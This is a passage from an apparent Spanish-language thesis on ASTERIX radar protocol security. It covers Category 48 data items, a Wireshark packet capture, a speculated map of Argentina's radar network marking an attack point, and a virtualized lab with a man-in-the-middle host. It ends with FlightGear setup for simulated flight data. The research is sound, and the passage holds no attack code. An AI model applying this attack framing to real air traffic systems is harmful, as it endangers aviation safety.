0 Confirmed Track
1 Tentative Track
bits-7/6 (RAD) Type of Sensor(s) maintaining Track
=00 Combined Track
=01 PSR Track
=10 SSR/Mode S Track
=11 |Invalid
bit-5 (DOU) Signals level of confidence in plot to track
association process
0 Normal confidence
1 Low confidence in plot to track association.
bit-4 (MAH) Manoeuvre detection in Horizontal Sense
0 No horizontal man.sensed
1 Horizontal man. sensed

bits-3/2 (CDM) Climbing / Descending Mode
00 Maintaining

01 Climbing

10 Descending

11 Invalid

0 End of Data ltem

1 Extension into first extent

bit-1 (FX)

Figura 25.39: Estructura del primer octeto de Track Status
Los bits de RAD pueden cambiar el nimero de TYP en el item 020.

La estructura del segundo octeto de extensidn es la siguiente:
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Oclet no.2

& 1 7 [ 6 | 5 [ 4 [ 3 [ 2 [ 1 |
TTRE | GHO | suP | 7cCc | 0 | 0 | 0 | FX |
bit-8 (TRE) Signal for End_of_Track

=0  Track still alive

=1 End of track lifetime(last report

for this track)

bit-7 (GHO) Ghost vs. true target

=0 True target track.

=1 Ghost target track.

bit-6 (SUP) Track maintained with track
information from neighbouring
Node B on the cluster, or
network

no

-0

yes
bit-5 (TCC) Type of plot coordinate
transformation mechanism:
=0 Tracking performed in so-
called 'Radar Plane', i.e.
neither slant range correction
nor stereographical projection
was applied.
=1  Slant range correction and a
suitable projection technique
are used to track in a
2D.reference plane, tangential
to the earth model at the Radar
Site co-ordinates.
bits-4/2 (spare) Spare bits, setto 0
bit-1 (FX) 0 End of Data Item
1  Extension into second extent

Figura 25.40: Estructura del segundo octeto de Track Status

25.4.20. Item 1048/200, Calculated Track Velocity in Polar Co-ordinates

Este item representa la velocidad de track en coordenadas polares. Posee una longitud de 4
octetos, los 2 primeros representando la velocidad en tierra y los otros 2 el rumbo. La
estructura se muestra en la Figura 25.41.

QOctet no. 1 Octet no. 2
32|31| 30| 29|28|27| 26| 25| 24| 23| 22| 21| 20| 19| 18] 17

CALCULATED GROUNDSPEED (max. 2 NM/s) LSB

Octet no. 3 Octet no. 4
1615|141 13|12|111| 10| 9| 8| 7| 6| 5| 4] 3] 2] 1

CALCULATED HEADING LsB

bit-17 (LSB) (2™ NM/s = approx. 0.22 kt

bit-1 (LSB) 36092'" = approx. 0.0055°

Figura 25.41: Estructura del Data Item Calculated Track Velocity in Polar Co-ordinates

El rumbo calculado es relativo al norte geogréafico de la posicion de la aeronave.
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25.4.21. Item 1048/210, Track Quality

Este data item representa la calidad del track en forma de un vector de desviacion estandar.
Posee una longitud de 4 octetos y es opcional. La estructura se muestra en la Figura 25.42.

Octet no.1
IaI?I6I5I4I3I2I1I
Sigma (%) LSB|
bits-8/1 (Sigma (X)) Standard Deviation on the
horizontal axis of the local grid
system
bit-1 (LSB) =1/128 NM

Figura 25.42: Estructura del primer octeto de Track Quality

La desviacion estandar es por definicion un valor positivo, por lo tanto el rango cubierto es
de 0<= Sigma(X) <2 NM.

Octet no.2
[BT7]665T4]3T2T1
| Sigma (Y) LSB
bits-8/1 (Sigma (Y)) Standard Deviation on the
vertical axis of the local grid
system
bit-1 (LSB) =1/128 NM

Figura 25.43: Estructura del segundo octeto de Track Quality

En este octeto el rango cubierto es el mismo que en el anterior, 0<= Sigma(Y) < 2 NM.

Octet no.3
|B|?|6|5|4|3|2|1
Sigma (V) Sﬁ'
bits-8/1 (Sigma (V)) Standard Deviation on the
groundspeed within the local
gr|d s;ystem
bit-1 (LSB) (27) NM/s = 0.22 Kt

Figura 25.44: Estructura del tercer octeto de Track Quality

En este octeto el rango cubierto es de 0<= Sigma(V) < 56.25 Kt.

Octet no.4

e l71615]4]301211]

| Sigma (H) LSB|

bits-8/1 (Sigma (H)) Standard Deviation on the
heading within the local grid
system

bit-1 (LSB) ='360/(2") degrees = 0.08789
degrees

Figura 25.45: Estructura del cuarto octeto de Track Quality

En el altimo octeto el rango cubierto es de 0<= Sigma(H) < 22.5 grados.

25.4.22. Item 1048/220, Aircraft Address

La Aircraft Address es un valor asignado un equivocamente a cada aeronave. Posee una
longitud de 3 octetos y debe estar presente en todos los registros ASTERIX. Su estructura
se puede ver en la Figura 25.46.
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Octet no. 1
24232221 ]20[19]18] 17
AIRCRAFT
Qctet no. 2 QOctet no. 3
w1514 ]13[12]11J10] o s |7|6[5]4f3]2]1
ADDRESS
bits-24/1 24-bits Mode S address, A23 to AQ

Figura 25.46: Estructura del Data Item Aircraft Address

25.4.23. Item 1048/230, Communications/ACAS Capability and Flight Status

Este data item representa la capacidad de comunicacién del transponder, del equipo ACAS
a bordo de la aeronave y el estado del vuelo. Posee una longitud de 3 octetos y debe estar
presente en todos los registros ASTERIX relacionados con Modo-S. La estructura del
mismo se muestra en la Figura 25.47.

Octet no. 1 Octet no. 2
[E_Ts 14 [132 iz i1 _Jio o |8 I E |5 F E_ B 11 1]
[com |STAT Isi_Jo MsSC _JaRCJaIC [BiA |B1B ]
bits-16/14 (COM) Communications capability of the
transponder

=0 No communications capability
(surveillance only)
=1 Comm. Aand Comm. B
capability
=2 Comm. A, Comm. B and
Uplink ELM
=3 Comm. A, Comm. B, Uplink
ELM and Downlink ELM
=4 Level 5 Transponder capability
5 1o 7 Mot assigned
bits-13/11 (STAT) Flight Status
=0 No alert, no SPI, aircraft
airborne
=1 No alert, no SPI, aircraft on
ground
2 Alert, no SPI, aircraft airborne
3 Alert, no SPI, aircraft on
ground
=4  Alert, SPI, aircraft airborne or
on ground
=5 No alert, SPI, aircraft airborne
or on ground
6 -7 Not assigned
hit-10 (SI) S/ Transponder Capability
=0  SlI-Code Capable
=1 |I-Code Capable

bit-9 (spare) spare bit set to zero

bit-8 (MSSC) Mode-S Specific Service Capability
=0 No
=1 Yes

bit-7 (ARC) Altitude reporting capability

=0 100 ft resolution
=1 25 ft resolution

bit-6 (AIC) Aircraft identification capability
=0 No
=1 Yes

bit-5 (B14) BDS 1,0 bit 16

bits 4/1 (B1B) BDS 1,0 bits 37/40

Figura 25.47: Estructura del Data Item Communications/ACAS Capability and Flight
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25.4.24. Item 1048/240, Aircraft Identification

El Aircraft Identification son 8 caracteres obtenidos de una aeronave equipada con un
transponder Modo-S. Posee una longitud de 6 octetos y contiene la identificacion del vuelo
disponible en los registros de transponder. Su estructura se muestra en la Figura 25.48.

Octet no. 1 Octet no. 2
l48 b7 e J45 a4 Ja3 k2 W1 ko [39 [ |37 Be Bs B4 |33
IMSB Character 1 Character 2 Character 3
Octet no. 3 QOctet no. 4
32 31 o P9 s 27 pe ps P4 3 P2 1 po 1o Jig Ji7
Character 4 Character 5
Octet no. 5 QOctet no. 6
16 N5 e ia iz i o fp g |7 6 |5 b | 2
Character 6 Character 7 Character 8 LSH|
bits-48/1 Characters 1-8 (coded on 6 bits each)
defining aircraft identification when
flight plan is available or the
registration marking when no flight
plan is available.

Figura 25.48: Estructura del Data Item Aircraft Identification

25.4.25. Item 1048/250, Mode S MB Data

Este data item contiene informaciébn Comm B en Modo S extraida del transponder de la
aeronave. Posee una longitud variable y esta compuesto por un primer octeto (REP) que
representa el factor de repeticion, seguido por o menos de un reporte BDS. Cabe destacar
que este item debe estar presente en cada registro ASTERIX que maneje informacion
relacionada a un target Modo S. La estructura del mismo se puede observar en la Figura
25.49.

QOctet no. 1
[72 T71 7o 6o I68 67 6 65 |
REP |
QOctet no. 2 Octet no. 3
64 63 J62 |61 60 |59 |58 |57 66 |55 |54 53 |2 |51 [50 Jo |
[MSB MB |
Octet no. 4 Octet no. 5
lag |47 Ja6 |45 Ja4 43 k2 R1 o |39 |38 |37 pB6 |35 [34 |33 |
[ DATA |
Octet no. 6 QOctet no. 7

Iaz B1 o 29 |28 o7 e s P4 3 2 o1 Po 19 Jig Jiz I

Octet no. 8 Octet no. 9
[16 1s ia ia 12 i1 ho b B 7 I 5 v B P T ]
| LSB|BDS1 [BDS2 |
bits-72/65 (REP) Repetition factor
bits-64/9 (MB Data) 56-bit message conveying Mode S

Comm B message data

bits-8/5 (BDS1) Comm B Data Buffer Store 1 Address
bits-4/1 (BDS2) Comm B Data Buffer Store 2 Address

Figura 25.49: Estructura del Data Item Mode S MB Data
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25.4.26. Item 1048/260, ACAS Resolution Advisory Report

Este data item contiene la RA (Resolution Advisory) activa del momento, generada por la
ACAS asociada con el transponder. Posee una longitud de 7 octetos y debe estar presente
siempre y cuando una RA haya sido generada en el Gltimo escaneo. La estructura es la que
se muestra en la Figura 25.50.

Octet no. 1 Octet no. 2

Isa 55 54 |53 |52 |51 |50 |9 J48 Ja7 Jas Ja5 k4 J43 P2 a1 I

Octet no. 3 Octet no. 4
[a0 J30 38 [37 36 |35 B4 [33 |32 [31 30 [29 P8 p7 o6 o5 |
[ |

MB DATA

Octet no. 5 Octet no. 6
24 23 22 J21 J20 [19 J18 17 [16 [15 J14 [13 iz i1 Jio o]
[ |

Octet 7

|8_|?|5I5I4I3l2l1l

bits-56/1 (MB Data) 56-bit message conveying Mode S
Comm B message data of BDS
Register 3,0

Figura 25.50: Estructura del Data Item ACAS Resolution Advisory Report

25.5. CAPTURA DE DATOS ASTERIX CON WIRESHARK

Wireshark es un analizador de protocolos utilizado para realizar analisis y solucionar
problemas en redes de comunicaciones. EI mismo cuenta con todas las caracteristicas
estandar de un analizador de protocolos. La funcionalidad que provee es similar a la del
comando tcpdump, pero afiade una interfaz grafica y muchas opciones de organizacion y
filtrado de informacion.

El protocolo ASTERIX es parte del paquete de Wireshark. El codigo esta escrito para
apoyar cualquier categoria de ASTERIX. El objetivo de esta seccion es mostrar un ejemplo
de una captura de paquetes ASTERIX por Wireshark. También se puede ver un fragmento
del detalle de un paquete de categoria 48. Dicho ejemplo se muestra en la figura 25.51.
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B ejemplo asterix wireshark.pcap - Wireshark - O X
Eile Edit View Go (Capture Analyze Statistics Help
Booee BEXSE AesypT L |BE QAQQE | EE®MX B

Filter: v Expression.. Clear Apply

No. . Time Source Destination Protocol Info

. 000000 192.2.2.10 R ASTERIX Categories 34, 48
. 244359 192.2.2.10 224.1.1. ASTERIX Catégorie 34
. 244731 192.2.2.10 224.1.1. ASTERIX Catégories 34, 48
. 357931 10.10.140.1 239.1.10. ASTERIX Catégorie 65

.492911 192.2.2.10 L R R ASTERIX cCatégories 34, 48
.493231 192.2.2.10 224.1.1. ASTERIX Cateéegories 34, 48
.558021  10.50.50.1 239.1.10. ASTERIX Catégorie 0

o] On| LB L] N

'@ Frame 1 (188 bytes on wire, 188 bytes captured)
# Ethernet II, Src: 50:3d:e5:1le:a5:4c (50:3d:e5:1e:a5:4c), Dst: IPv4mcast_01:01:01 (01:00:5e:01
@ Internet Protocol, Src: 192.2.2.10 (192.2.2.10), Dst: 224.1.1.1 (224.1.1.1)
# User Datagram Protocol, src Port: afs3-fileserver (7000), Dst Port: 20103 (20103)
) ASTERIX Protocol
= BLOC Cat 48
CATEGORIE ASTERIX: Monoradar Target Reports (next version of cat 001) (48)
Longueur du bloc: 130
= ENREGISTREMENT : 1
FSPEC Asterix: 0x00ffdf02
System Area Code: 147
System Identification code: unknown (25)
Time of Day: 3640637: 7 hr:54 min:2 sec  (en sec: 28442)
Difference avec 1'heure de reception du paquet (en milliseconde): 466
% Target Report Descriptor: Oxa2
pPosition in Polar Coordinates: 0x056f132d rho= 5,00 NM, theta= 26,00 deg v

£

(0010 00 ae 9c 5a VU 00 63 11 1/ db CU U2 02 Va el 01 Sy AT
0020 01 01 1b 58 4e 87 00 9a 76 e3 30 00 82 ff df 02 ...XN...
0030 93 19 37 8d 3d a2 05 6f 13 2d Of ff 00 94 60 02 ..7
0040 de 50 6f 84 4c 3 ¢3 51 23 31 00 17 01 3b 02 6¢C .PO.
0050 00 Oc 74 a7 40 20 a0 ff ff 02 93 i 37 8d 38 e0 ..t
0NAN_ Ne 13 10 a0 0Od 4c 02 7h 7R 05 A5 Oe 2w 50 Ac NA 1

(System Identification code (a@c):i byte | Packets: 44 Displayed:r474 Marked: 0 \ Prbfile: Default

Figura 25.51: Captura de paquetes ASTERIX por Wireshark

Como se puede observar en la figura Wireshark muestra toda la informacion de cada
paquete. En el fragmento de detalle del paquete seleccionado (categoria 48) se muestra la
siguiente informacion:

e Categoria del paquete: 48.

e Longitud del paquete: 130.

e FSPEC: 0x00ffdf02

e Item 1048/010, Data Source Identifier:
o SAC: 147.

o SIC: desconocido.

Item 1048/020, Target Report Descriptor: 0xa2.
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e |tem 1048/040, Measured Position in Polar Co-ordinates:
o RHO: 5 millas nauticas.

o THETA: 26 grados.

26.ESTRUCTURA DE LA RED

El objetivo de esta seccidn es dar una vision general de la estructura de red sobre la que se
detectd la vulnerabilidad. En la Figura 26.1 se puede observar un diagrama de la estructura
completa del sistema de radares de la republica Argentina. Debido a que esta es una red
sensible y muy protegida no tuvimos acceso a la misma por lo que se tuvo que especular
una gran parte de la misma basandose en distintas fuentes de informacion detallada en la

bibliografia del trabajo.

Cordoba (CBA)

e o

Radar

Honey Pot

=
X %
A )& g — Protocolo ASTERIX
KR ﬁ =

PC Radar

| Centro de Operaciones (CO) |

| Torre de Control (TC) ’

PUNTO DE ATAQUE

Router - F,‘rewall co a

M ,/ PC Database

Web Server {

Switch TC

2T /

INTERNET

Border Router - Firewall CBA /

/
Enlace Punf‘a a Punto

PCTC

J{ -

/ Buenos Aires (BS.AS)

/

/
/

Centro de Procesamiento de Datos (CPD) ‘

/ [
/. 1}

Border Router - Firewall BS.AS

Nl-z i’!i
SW“01 CPD

=) — .
Figura 26.1: Estructura completa de la red
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26.1. SIMULACION DE LA RED MEDIANTE VIRTUALIZACION

La virtualizacion es el proceso utilizado para crear una version virtual, en lugar de una
fisica. Se puede aplicar tanto a computadoras, dispositivos de almacenamiento,
aplicaciones, sistemas operativos, redes, etc. Actualmente, existen varios softwares
encargados de simular hardware para le creacion de sistemas virtuales (VMWARE,
VirtualBox, etc). Esto permite que diversas empresas tengan la posibilidad de ejecutar
varios sistemas operativos y aplicaciones en un unico servidor

Un sistema virtual se denomina maquina virtual (VM, Virtual Machine). Este es un
contenedor de software aislado en el que se incluye un sistema operativo, aplicaciones y
determinados recursos para la simulacién del hardware. Cada VM es auténoma e
independiente, lo cual trae las siguientes ventajas:

e Aislamiento (se proporciona aislamiento por fallas y de seguridad a nivel de
hardware, ademéas de conservar el rendimiento con controles de recursos
avanzados).

e Encapsulamiento (se almacena el estado completo de la VM en archivos, lo cual
permite mover la VM o copiarla sin ningin problema).

¢ Independencia de Hardware (se pueden expandir los recursos o migrar la VM a
cualquier servidor fisico).

e Creacion de Particiones (se pueden ejecutar varios sistemas operativos de manera
sencilla en una misma maquina fisica y asignar los recursos que queramos a cada
una de ellas).

La Figura 26.2 muestra un diagrama de las virtualizaciones realizadas para cada uno de los
componentes involucrados en la simulacion del ataque. También se puede ver las
direcciones IP utilizadas y el nombre del programa incluido en cada virtualizacion.

FLIGHTGEAR PC RADAR PC SONAR

ip:192.168.1.200 |————|ip1:192.168.1.201
ip2:192.168.1.211

Programa: AGIUA
Programa: ARIUA

ip: 192.168.1.100 |=>

PC MITM
ip:192.168.1.230

Programa: MITMAST

Figura 26.2: Diagrama de la virtualizacion del ataque
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27.SIMULACION DE LA RED

27.1. TRANSPONDER DE LA AERONAVE - FLIGHTGEAR

Como se explico en el apartado “24.3.2.1. Transponder”, el Transponder es el encargado de
generar y emitir los datos de vuelo que van a ser utilizados por la torre radar para generar
los paquetes ASTERIX y trasmitirlos al centro de operaciones.

Para obtener datos reales para realizar la simulacion se utilizd un programa simulador de
vuelo llamado “FlightGear™.

FlightGear es un simulador de vuelo multiplataforma y libre. Actualmente es una
alternativa importante frente a los simuladores de vuelo comerciales. Es probablemente el
unico programa de este tipo cuyo codigo es libre y sin intencion de esconder como funciona
internamente, lo que lo hace muy extensible.

Algunas de las principales caracteristicas de FlightGear son:

e Posee una base de datos del escenario mundial precisa y extensa.

¢ Incluye alrededor de 20000 aeropuertos reales.

e Se basa en los datos de terreno SRTM? para obtener un terreno preciso y actualizado
de todo el mundo.

e Posee un sistema de modelado de aviones abierto y flexible, lo que implica una
amplia variedad de aeronaves.

e Opcidn de tiempo real que incluye tanto la iluminacion del sol, el viento, la lluvia,
niebla, humo, etc.

e Modo multijugador.

e Simulacion de trafico real.

La Figura 27.1 muestra el programa en funcionamiento.

IMision topogréafica Radar Shuttle: proyecto internacional entre la Agencia Nacional de Inteligencia-
Geoespacial, NGA, y la Administracion Nacional de la Aeronautica y del Espacio, NASA. Su fin es obtener
una completa base de mapas topogréaficos digitales de alta resolucion de la Tierra.
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{0 Ambiente Egquipamiento |4 Multijugador Depurar

P -
b -
. i e -

REPLAY

Mute

Figura 27.1: FlightGear en funcionamiento

Existen varios programas que podian cumplir el objetivo, pero se decidio utilizar
FlightGear debido a que este, ademéas de ser es un simulador de vuelo open-source,
multiplataforma, posee un sistema mediante el cual, a través de un archivo XML, se pueden
obtener los datos de vuelo en tiempo real. Esto se explicara en los apartados siguientes.

27.1.1. Instalacion
Para instalar FlightGear debemos primero ingresar al sitio web oficial del simulador:

e http://www.flightgear.org/

Una vez en el sitio dirigirse a la pestafia “Download FlightGear” y descargar la version mas
reciente. La figura 27.2 muestra la pagina para descargar la version 3.4.0.
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lownload Central | Fligh

i o T
About FlightGear  Download FlightGear  Visit Store  Flying Posts Developers Legacy Site

Download Central

Download FlightGear Download Aircraft
v3.4.0

« Download FlightGear v3.4.0 for Windows (XP. Vista, 7
8) here:[Mirror 1] [Mirror 2] [Mirror 3]

« Note to Mac users: we have another build in the
pipeline which we anticipate will support 10.7. so you
may wish to postpone upgrading until this message is
updated. Download FlightGear v3.4.0 for MacOSX
(10.8. 10.9. 10.10) here:[Mirror 1] [Mirror 2] [Mirror 3]

« Download FlightGear for Linux and other platforms on
the “Main Program Download” page

« Download from SourceForge

The FlightGear base package includes only a few
representative aircraft. Download more aircraft here

« Download v3.4 Aircraft

« Download v3.2 Aircraft
« Download v3.0 Aircraft

Download Now
SOUFCEFOrge - Trusted for Open Source

Download Scenery

Download Source Code

Figura 27.2: Descarga de FlightGear

Una vez descargado el archivo “FlightGear-xxxx.exe” lo ejecutamos para comenzar la
instalacion.

27.1.2. Configuracién

FlightGear viene con un conjunto limitado de escenarios. Aparte del Area de la Bahia
alrededor de San Francisco (incluyendo el aeropuerto por defecto KSFO), el usuario puede
instalar escenarios adicionales. Para instalarlos debemos ingresar al sitio oficial de
Flightgear y seleccionar la pestafia “Download FlightGear — Download Scenery”, una vez
alli seleccionamos la ultima version de World Scenery, lo cual abrird una nueva pagina
donde se puede ver una imagen del mundo completa dividida en sectores. La Figura 27.3
muestra dicha pagina.
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é FGFS Scenery Downloads

& (¢l [ ns334561.ip-5-196-65.eu/~fgscenery/WS2.0/scenery-2.0

FGFS Scenery Downloads Version 2.0.1

Click on any of the 10x10 degree chunks m the mmage below to download that area.
An area with no corresponding link means that area 1s all ocean so there is nothing to download. (Or if a rebuild 15
in progress, that chunk may not vet be generated.)

Figura 27.3: Descarga de Escenarios FlightGear

Para descargar el escenario de un sector especifico solo debemos hacer clic en el rectangulo
ubicado en dicho sector y comenzara la descarga. En nuestro caso, como necesitamos el
escenario del aeropuerto Ambrosio Taravella, vamos a descargar el rectdngulo que se
encuentra sobre la ciudad de Cérdoba.

Una vez finalizada la descarga, debemos descomprimir el archivo en la ubicacion que
deseemos para luego cargarlo en “FlightGear Wizard?”.

Finalizada la descarga e instalacién de los componentes necesarios, debemos ejecutar el
programa “FlightGear Louncher” para comenzar la configuracion.

La Figura 27.4 muestra la primera pantalla de configuracion. En el apartado
“FG_ESCENARY” debemos cargar la ruta de la carpeta donde guardamos el escenario
descargado anteriormente.

2 Interfaz gréfica de FlightGear que se ejecuta al correr el programa. El mismo se utiliza para realizar la
configuracion de la préxima simulacion.
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B FlightGear Wizard -
Select Paths

FlightGear Launch Control for FlightGear v3.4.0

This program is released under the GNU General Public License.

Report bugs to http:/flishtgear-bugs googlecode.com

Executable: Ic:\Program Files\FlightGear 3.4.0\bin\fgfs.exe

FG_ROOT: lC:\Program Files\FlightGear 3.4.0\data

F:\Mis Documentos\Mis documentos\FlightGear\Aircraft

FG_AIRCRAFT:

Add... Delete

F:\Mis Documentos\Mis documentos\FlightGear\Custom Scenery
C:\Program Files\FlightGear 3.4.0\data\Scenery
FG_SCENERY: | F:\Mis Documentos\Mis documentos\FlightGear\TerraSync

El
il

Add... Delete

Airports Cache: IC:/Users/FacundolAppData/Roamingmightgear.orgﬁgrun/airpons.txt Delete |

Restore default settings | Load I Save As... | Prev | Next |

Quit

Figura 27.4: Primera pantalla configuracion FlightGear

La siguiente pantalla de configuracion se muestra en la Figura 27.5 en la cual debemos
configurar que aeronave deseamos utilizar para el vuelo. Debido a que no es importante
para el trabajo el tipo de aeronave utilizada. Se decidié utilizar la aeronave Cesna 172p que

es la que utilizan los principiantes debido a su facilidad de vuelo.
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B FlightGear Wizard - m} X
Select an aircraft 3D Preview ¥
Recently used aircraft :

Cessna 172P Skyhawk (1981 mod¢
Cessna 172P Skyhawk (1981 mode

<| |- b]
Available aircraft :

Schleicher ASK 13 Glider
b1900d

Beechcraft b1900d

Beechcraft b1900d
bo105

Eurocopter Bo105
c172p

Cessna 172P Skyhawk (1981

Cessna 172P - Canvas Demo

Panel only for IFR-training (Ce

Cessna 172P Skyhawk (1981
CitationX

Cessna Citation-X
Cub

Piper J-3 Cub (J3C-65, 1946
dhc2

de Havilland Beaver - Floats

de Havilland Beaver - Wheels Rating
Dragonfly FDM :

Moyes Dragonfly Systems :
f-14b Cockpit :
4 > Model :

Status :Iearly production Author(s) : ]David Megginson Viewer
Location :IC:/Program Files/FlightGear 3.4.0/data/Aircraft

Restore default settings l Load | Save As... |

Figura 27.5: Seleccion de la aeronave FlightGear

La proxima pantalla de configuracion se utiliza para seleccionar la ubicacion inicial del
avion. En nuestro caso se selecciond el aeropuerto Ambrosio Taravella, cuyas siglas de
identificacion ICAO?® es “SACO”. Dicha configuracion se encuentra en la Figura 27.6.

8 Coédigo de designacién de aeropuertos compuesto de cuatro caracteres alfanuméricos que sirve para
identificarlos alrededor del mundo
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® " FlightGear Wizard - m] X
Select a location
< All airports
@ Installed airports Runwa
ich01 Name | T
SACO AMBROSIO L V TARAVELLA 05
SACT CHAMICAL 18
SACZ Brig D Hector Eduardo Ru 23
SAHR GENERAL ROCA 36
SAHS RINCON DE LOS SAUCES
SAMA General Alvear
SAME El Plumerillo
SAMM MALARGUE
SAMQ Aeroparque Mendoza
SAMR SAN RAFAEL
SANU SAN JUAN .
SAOC RIO CUARTO AREA DE MATERIAL _F_)ﬂ!ﬂg_
SAOD VILLA DOLORES
SAOL LABOULAYE
SAOM MARCOS JUAREZ
SAOR VILLA REYNOLDS
SAOS Sta. Rosa De Conlara
SAQU SAN LUIS
SAZB COMANDANTE ESPORA
SAZC CORONEL SUAREZ
SAZE Pigue
SAZF OLAVARRIA v
| ‘ Refresh |
Carrier Ops
Carrier - | Park pos - |
Restore default settings I Load ' Save As... | Prev I AAAAAAAAAA N ext AAAAAAAA I Quit I

Figura 27.6: Seleccion de localizacion inicial FlightGear

Por Gltimo la Figura 27.7 muestra la pantalla final de configuracion. En la misma se
realizan configuraciones graficas en su mayoria. También se utiliza para configurar el
modo multijugador.
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B’ FlightGear Wizard - a X
BEpiay I Horizon effect [3D Clouds
| 500x6500 Y| I Enhanced runway lighting
bpp 3|32 | W specular highlight
[" Full Screen [~ Framerate limiter : |
Features Scenarios
[” Random objects [V Time of day : noon v ICE3_demo j
— KRHV_towing_demo
[ Random trees Season : | summer =i KSFO_ AirTrgm :
¥ Al models [~ Real weather fetch PAVictoria_demo
aircraft_demo
[T Al Traffic [ Auto-coordination balloon demo
[~ TerraSync [~ Menu auto-visibility bigstorm demo. I
Deselect all | @
[ Atlas [~ Multiplayer Calisign - |
Hostname - | 0 Hostname in ‘_’: BHES0
C:\Program Files\FlightGear 3.4.0\bin\fgfs.exe =
--fg-root=C:\Program Files\FlightGear 3.4.0\data
--fg-scenery=F:\Mis Documentos\Mis documentos\FlightGear\Custom Scenery;C:\Program Files\FlightGear 3.4.0\data\Sc
--terrasync-dir=F:\Mis Documentos\Mis documentos\FlightGear\TerraSync B
--fg-aircraft=F:\Mis Documentos\Mis documentos\FlightGeanr\Aircraft
--airport=SACO
--aircraft=c172p .
--console X
4 [ 1
[V Show command line [V Show console Advanced... '
Restore default seftings I Load l Save As... I Quit |

Figura 27.7: Ultima pantalla de configuracion de FlightGear

En las opciones avanzadas de configuracion (boton “Advanced...” de la tltima ventana de
configuracién) se pueden realizar una gran cantidad de configuraciones adicionales. En
nuestro caso la utilizaremos solo para realizar la carga de documento XML para obtener los
datos del vuelo. Dicha configuracion se vera en el apartado “27.1.3.2. Utilizacion del
archivo XML”.

27.1.3. Extraccion de datos del vuelo mediante archivo XML

FlightGear posee una forma de extraer los datos del vuelo en tiempo real definiendo en un
archivo XML los datos que deseamos obtener y cargando el mismo en el programa antes de
comenzar la simulacion.

Una vez iniciado la simulacion, FlightGear envia la informacién mediante paquetes UDP,
los cuales pueden ser leidos por programas externos utilizando sockets de comunicacion.
En nuestro caso los paquetes seran enviados al simulador radar para que este se encargue de
procesar los datos del vuelvo y genere los paquetes Asterix que seran enviados el centro de
operaciones.

El mecanismo que utiliza para enviar datos también es utilizado para poder recibir datos
externos. Gracias a esto se puede utilizar un programa externo para manejar FlightGear y
sus diferentes parametros de simulacion.
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Este protocolo de comunicacion genérico proporciona una poderosa manera de afiadir
cédigo ASSCII o binario tanto para entrada como para salida. Dicha informacidon se define
en el archivo XML vy se debe guardar en la carpeta:

e C:\Program Files\FlightGear 3.4.0\data\Protocol

27.1.3.1. Contenido del archivo XML

La Figura 27.8 muestra el contenido del documento XML que se ha utilizado para la
obtencion de los datos que seran enviados al simulador radar. Los datos obtenidos del avion
en vuelo son: latitud, longitud, rumbo y velocidad.

1 <?xml version="1.0"2>
Q <PropertyList>
B <generic>
= <output>
<line_separator>;</line separator>
<var_separator>;</var_separator>
<binary mode>false</binary mode>
=] <chunk>
9 <name>longitude</name>
10 <type>float</type>
11 <format>%$03.5f</format>
12 <node>/position/longitude-deg</node>

ol WM

1§57 M </chunk>

14 H <chunk>

15 <name>latitude</name>
16 <type>float</type>

1 <format>%03.5f</format>
18 <node>/position/latitude-deg</node>
19 </chunk>
20 H <chunk>
21 <name>speed</name>
22 <type>float</type>
23 <format>%$03.5f</format>
24 <node>/velocities/airspeed-kt</node>
+ </chunk>
26 <chunk>
27 <name>heading</name>
28 <type>float</type>
29 <format>%03.5f</format>
30 <node>/orientation/heading-deg</node>
F10 </chunk>
<chunk>
<name>Fin</name>
34 <format>;</format>
+ </chunk>
v </output>
F  </generic>
- </PropertyList>

Figura 27.8: Archivo XML

A continuacion se detallaran cada una de las etiquetas XML contenidas en el documento:
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e PropertyList: Define el bloque completo que serd utilizado por FlightGear para
definir la informacidn enviada y/o recibida.

e Generic: Define el bloque de informacion que le permite al usuario disefiar los
paquetes personalizados con los campos especificos que se elijan.

e Output: Blogque que define qué informacion serad enviada desde FlightGear a través
del socket UDP. Existe también la etiqueta “input” que define qué informacion se
recibira en FlightGear pero en nuestro caso no la utilizamos.

¢ line_separator: Define cual sera el elemento separador entre los distintos conjuntos
de datos. En nuestro caso utilizaremos el caracter ““;” y nuestro programa simulador
radar se encargara de separar dicha informacion. Se puede utilizar cualquier caracter
como separador de linea y también se puede utilizar una serie de caracteres
especiales como se muestra en la Figura 27.9.

Keyword Special character

newline \n
tab \t
formfeed \f

carriagereturn | \r

verticaltab \v

Figura 27.9: Caracteres especiales

e var_separator: Define cual sera el elemento que se utilizara para separar los
distintos campos. ElI mismo se colocara al final de cada conjunto de datos. Al igual
que en el campo “line_seperator” se pueden utilizar los caracteres especiales de la
Figura 27.9.

e binary_mode: Valor de tipo booleano que define si se utilizara el modo binario en
lugar de ASCII para el envio de la informacion. El valor por defecto del mismo es
“false”.

e Chunk: Tanto los bloques de “input” y “output” contienen una lista de “chunk”, los
cuales describen las propiedades de la variable a se quiere obtener informacion.

e Name: Define el nombre de la variable que se esta utilizando. Esta es solo a modo
de etiqueta para identificarla facilmente.

e Type: Define el formato de la variable en cuestion. EI mismo puede ser: string,
float, bool, int (por defecto). A pesar de que el valor por defecto es int, se
recomienda que esta etiquete esté presente en todos los campos.

e Format: Este campo se utiliza solo cuando se utiliza el protocolo ASCII, el mismo
no debe ser utilizado cuando el modo binario esta presente. EI mismo define el
formato real del dato que se esta enviando. Se puede utilizar el mismo formato que
el utilizado en la instruccion “prinft” del lenguaje C. La Figura 27.10 muestra las
opciones de formato disponibles.
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Formatting option Type

%s String

%d Integer (default)
%t Float

Figura 27.10: Opciones de formato

e Node: Se utiliza para definir la ruta del dato que deseamos enviar. FlightGear posee
un arbol de propiedades, el cual se coincidiera el sistema nervioso del simulador y
uno de sus mayores activos. Existen varias formas de ver el arbol de propiedades
para definir cudles son los datos que queremos obtener y la ruta completa del nodo.
En nuestro caso utilizamos el archivo README que trae el simulador una vez
instalado en el equipo. La ruta del mismo es:

o C:\Program Files\FlightGear 3.4.0\data\Docs\README.properties

La Figura 27.11 muestra un fragmento del contenido de dicho archivo.

7| README.properties: Bloc de notas
Archivo Edicién Formato Ver Ayuda

/controls/autoflight/mach-select/controls/autoflight/vertical-mode
/controls/autoflight/lateral-mode

Position---------------

/position/latitude-deg /position/longitude-deg /position/altitude-ft
Orientation-----------

/orientation/roll-deg /orientation/pitch-deg /orientation/heading-deg
/orientation/roll-rate-degps /orientation/pitch-rate-degps /orientation/yaw-
rate-degps /orientation/side-slip-rad /orientation/side-slip-deg
/orientation/alpha-deg

Velocities----------

/velocities/airspeed-kt /velocities/mach /velocities/speed-north-fps
/velocities/speed-east-fps /velocities/speed-down-fps /velocities/uBody-fps
/velocities/vBody-fps /velocities/wBody-fps /velocities/vertical-speed-fps
